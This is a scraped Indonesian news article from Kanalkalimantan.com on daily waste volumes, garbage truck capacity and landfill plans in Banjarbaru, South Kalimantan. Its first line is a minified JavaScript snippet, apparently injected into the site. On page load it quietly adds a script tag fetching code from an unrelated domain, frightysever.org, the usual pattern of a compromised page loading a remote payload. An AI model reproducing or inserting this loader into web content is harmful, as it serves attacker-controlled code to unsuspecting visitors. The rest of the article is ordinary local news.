(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjadi Ibu Kota Provinsi Kalimantan Selatan (Kalsel), volume sampah di Kota Banjarbaru belum naik secara signifikan. Meski begitu, persoalan sampah wilayah ibu kota Kalsel perlahan tapi pasti alami peningkatan volume dan tonase.
Saat ini saja jumlah volume sampah di Kota Banjarbaru tercatat mencapai 135 – 145 ton per hari yang masuk ke Tempat Pemrosesan Akhir (TPA) Gunung Kupang Cempaka.
Kepala Bidang Persampahan Dinas Lingkungan Hidup (DLH) Kota Banjarbaru, Pretty mengatakan, sepanjang tahun 2022, DLH Banjarbaru mengangkut sampah 135 ton per harinya, baik sampah rumah tangga maupun non rumah tangga.
“Masih belum ada penambahan secara signifikan setelah jadi Ibu kota provinsi, masih tetap seperti biasa,” ujarnya kepada Kanalkalimantan.com, Jumat (20/1/2023) siang.
Baca juga : Satu Warga Binaan Terindikasi TBC, Lapas Amuntai Beri Penanganan Khusus
Dalam mengangkut sampah dari 102 Tempat Pembuangan Sementara (TPS) yang tersebar di Kota Banjarbaru, DLH Banjarbaru meliliki 48 armada truk sampah yang beroperasi mengangkut sampah 2 – 3 kali ke TPA Gunung Kupang setiap harinya.
“Kalau melihat kondisi, idealnya 60 truk, melihat volume sampah sekarang ini,” bebernya.
Kota Banjarbaru sendiri mempunyai TPA Gunung Kupang di Kecamatan Cempaka dengan luas 14,3 hektare dan direncanakan akan ditambah 4 hektare guna meningkatkan pengelolaan sampah.
“Untuk sampah ini 80 ton diangkut ke TPA Banjarbakula, sisanya masuk ke sini (TPA Gunung Kupang),” tuturnya.
Dibeberkan Pretty untuk menjaga Kota Banjarbaru menjadi salah satu wilayah terbersih di Kalsel, pihaknya harus bekerja ekstra untuk mengangkut 135 ton sampah per hari dengan armada dan personel kebersihan yang ada.
Baca juga : Cekcok dengan Kerabat, Lelaki di Pasar Lima Banjarmasin Diduga Ceburkan Diri ke Sungai
“Hari Raya Idul Fitri, hanya hari pertama libur, hari selanjutnya petugas langsung masuk,” katanya.
Pretty menyebutkan, tidak semua sampah masuk ke TPA, karena DLH Banjarbaru memiliki beberapa bank sampah, Pusat Daur Ulang (PDU), dan TPS 3R.
“Sebagian sampah di tempat itu bisa diolah,” tandasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.